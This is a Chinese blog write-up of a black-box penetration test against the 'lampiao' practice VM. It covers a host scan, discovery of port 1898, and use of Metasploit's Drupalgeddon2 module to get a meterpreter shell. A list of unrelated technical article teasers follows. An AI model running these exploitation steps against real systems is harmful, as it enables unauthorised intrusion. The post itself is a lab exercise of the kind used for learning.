黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134
python tools.py ip -i 192.168.12.0 -h 254 -l 1
二、扫描其他端口。
1898
三、查看网站漏洞情况，典型的漏洞特征
Ac扫描漏洞情况，利用典型的漏洞。
四、开始getshell
1、启动MSF
msf6 > search SA-CORE-2018-002 #查询漏洞特征模块
可以看到，有可以利用的漏洞模块。直接开搞
2、使用对应的漏洞模块
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
3、查看并调整参数。调整参数
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
五、拿下！
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > shellls
查看系统版本。
为所欲为~~~
相关文章：
黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134 python tools.py ip -i 192.168.12.0 -h 254 -l 1 二、扫描其他端口。 1898 三、查看网站漏洞情况，典型的漏洞特征 Ac扫描漏洞情况，利用典型的漏洞。 四、开始getshell 1、启动M…...
笔记：VLAN及交换机处理详细教程（Tagged, UnTagged and Native VLANS Tutorial）
一、内容来源 本文是对下面这篇文章的总结，写的很全、很细致、干货满满，强力推荐： 《Tagged, UnTagged and Native VLANS Tutorial – A Quick Guide about What they Are?》 二、为什么引入VLAN？ 早期设备间通过集线器&#x…...
在字节跳动，造赛博古籍
“你在字节跳动哪个业务？”“古籍数字化。把《论语》《左传》《道德经》这些古籍变成电子版，让大家都能免费看。”没错，除了你熟悉的那些 App，字节跳动还在做一些小众而特别的事情，古籍数字化就是其中之一。在字节跳动…...
Android 12.0设置默认Launcher安装一款Launcher默认Launcher无效的解决方案
1.概述 在12.0的系统rom定制化过程中，在系统中当有多个Launcher的时候，这时候会要求设置默认Launcher,但是在最近的产品开发过程中，发现在设置完默认Launcher以后，在安装个Launcher的时候，会让原来设置的默认Launcher变为空了，就是在系统Settings中的默认应用中，launche…...
数据结构第16周 ：（ 希尔排序+ 堆排序 + 快速排序 ）
目录希尔排序堆排序快速排序希尔排序 【问题描述】给出一组数据，请用希尔排序将其按照从小到大的顺序排列好。 【输入形式】原始数据，以0作为输入的结束；第二行是增量的值，都只有3个。 【输出形式】每一趟增量排序后的结果 【…...
【C++】类和对象
1.面向过程和面向对象初步认识 我们知道，C语言是面向过程的，关注的就是问题解决的过程； C是面向过程和面向对象混编，因为C兼容了C语言，而面向对象关注的不再是问题解决的过程； 而是一件事情所关联的不同…...
Java缓存面试题——Redis应用
文章目录1、为什么要使用Redis做缓存？2、为什么Redis单线程模型效率也能那么高？3、Redis6.0为什么要引入多线程呢？4、Redis常见数据结构以及使用场景字符串（String）哈希(Hash)列表（list）集合&am…...
KMP算法详细理解
一、目的1.KMP应用场景：可以解决字符串匹配问题； 在一个串中查找是否出现过另一个串。2.KMP的经典思想就是:当出现字符串不匹配时，可以记录一部分之前已经匹配的文本内容，利用这些信息避免从头再去做匹配。3.KMP算法关键在于&…...
RabbitMQ单节点安装
在学习RabbitMQ之前，必须要把RabbitMQ的环境搭建起来，刚开始学习时，搭建单节点是入门RabbitMQ最方便、最快捷的方式，这篇文章就是介绍如何使用RabbitMQ压缩包的方式搭建一个单节点的RabbitMQ。 在实际项目中，服务器都…...
tomcat 服务的目录结构和tomcat的运行模式
目录 一、tomcat 服务的目录结构解析： 1、tomcat目录结构： bin目录： conf目录： lib目录： logs目录： temp目录： webapps目录： wokr目录： 二、tomcat服务的运行模…...
vector迭代器失效问题
一、迭代器： 迭代器的主要作用就是让算法能够不用关心底层数据结构，其底层实际就是一个指针，或者是对指针进行了封装，比如：vector的迭代器就是原生态指针T* 。因此迭代器失效，实际就是迭代器底层对应指针所…...
2023年排名前茅的十大饭店装修设计！
相信大家都是知道的，饭店装修设计其实是一门很深的学问，只有掌握这门学问才能够打造出来精美的空间，因此饭店装修必须要有专业餐饮设计公司的设计师进行设计。但是在国内饭店装修设计公司那么多，饭店老板要如何选择呢？…...
MFCCA多通道多说话人语音识别模型上线魔搭（ModelScope）
实验室研发的基于多帧跨通道注意力机制（MFCCA）的多说话人语音识别模型近日上线魔搭（ModelScope）社区，该模型在AliMeeting会议数据集上获得当前最优性能。欢迎大家下载。开发者可以基于此模型进一步利用ModelScope的微调…...
刷题记录:牛客NC25078[USACO 2007 Ope S]City Horizon
传送门:牛客 题目描述: Farmer John has taken his cows on a trip to the city! As the sun sets, the cows gaze at the city horizon and observe the beautiful silhouettes formed by the rectangular buildings. The entire horizon is represented by a number line …...
【Java|golang】 1238. 循环码排列---格雷编码
给你两个整数 n 和 start。你的任务是返回任意 (0,1,2,…,2^n-1) 的排列 p，并且满足： p[0] start p[i] 和 p[i1] 的二进制表示形式只有一位不同 p[0] 和 p[2^n -1] 的二进制表示形式也只有一位不同 示例 1： 输入：n 2, start …...
Python自动化测试框架封装和调用
封装与调用函数与参数化前言 面实现了参数的关联，那种只是记流水账的完成功能，不便于维护，也没什么可读性，接下来这篇可以把每一个动作写成一个函数，这样更方便了。参数化的思维只需记住一点：不要写死 登录…...
线程的执行
承接上文CPU原理简介程序的执行是由控制器发信号推动整个程序一步一步向前走，将数据存储在寄存器，从程序计数器中获取指令，比如先把3放到寄存器，再把5放到寄存器，再做一个加法，加法就是一个指令，…...
【视频】海康摄像头、NVR网络协议简介
1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP：进行设备的发现、激活、修改网络参数、忘记密码等； SDK：4200、系统平台的接入前端设备，协议不对外开放，但对外提供接口库； ISAPI：Intelligent Security API(智能安全API)，基于HTTP传输…...
【Spring的事务传播行为有哪些呢？Spring事务的隔离级别？讲下嵌套事务？】
如果你想寻求一份与后端相关的开发工作，那么关于Spring事务相关的面试题你就不能说不会并且不能不知道？ 人生如棋，我愿为卒，行动虽慢，可谁曾见我后退一步？ 一.Spring中声明事务的方式 1.1 编程式事务 编程…...
其实一点不难学会这三步一定让你学会制作一个『3D建模』大屏
上次已经教过大家怎样制作一个简单的2D数据可视化大屏~那有一些朋友们就会说那些炫酷的3D可视化大屏是怎样制作的呢？这不就来了，今天就教大家怎样用山海鲸可视化软件制作一个带3D建模的可视化大屏，并且最重要的是无需会特别复杂的3D建模知识。…...
Ubuntu系统下交叉编译openssl
一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机：Ubuntu 20.04.6 LTSHost：ARM32位交叉编译器：arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...
突破不可导策略的训练难题：零阶优化与强化学习的深度嵌合
强化学习（Reinforcement Learning, RL）是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程，然后使用强化学习的Actor-Critic机制（中文译作“知行互动”机制），逐步迭代求解…...
k8s从入门到放弃之Ingress七层负载
k8s从入门到放弃之Ingress七层负载 在Kubernetes（简称K8s）中，Ingress是一个API对象，它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress，你可…...
在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能
下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能，包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...
8k长序列建模，蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂
蛋白质结合剂（如抗体、抑制肽）在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上，高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术，但这类方法普遍面临资源消耗巨大、研发周期冗长…...
Auto-Coder使用GPT-4o完成：在用TabPFN这个模型构建一个预测未来3天涨跌的分类任务
通过akshare库，获取股票数据，并生成TabPFN这个模型 可以识别、处理的格式，写一个完整的预处理示例，并构建一个预测未来 3 天股价涨跌的分类任务 用TabPFN这个模型构建一个预测未来 3 天股价涨跌的分类任务，进行预测并输…...
【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】
1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件（System Property Definition File），用于声明和管理 Bluetooth 模块相…...
论文解读：交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架（一）
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读：交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架（一） 论文解读：交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多，如何一步解决，采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集（每个目录代表一个类别，目录下是该类别的所有图片），你需要进行以下配置步骤&#x…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码： prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...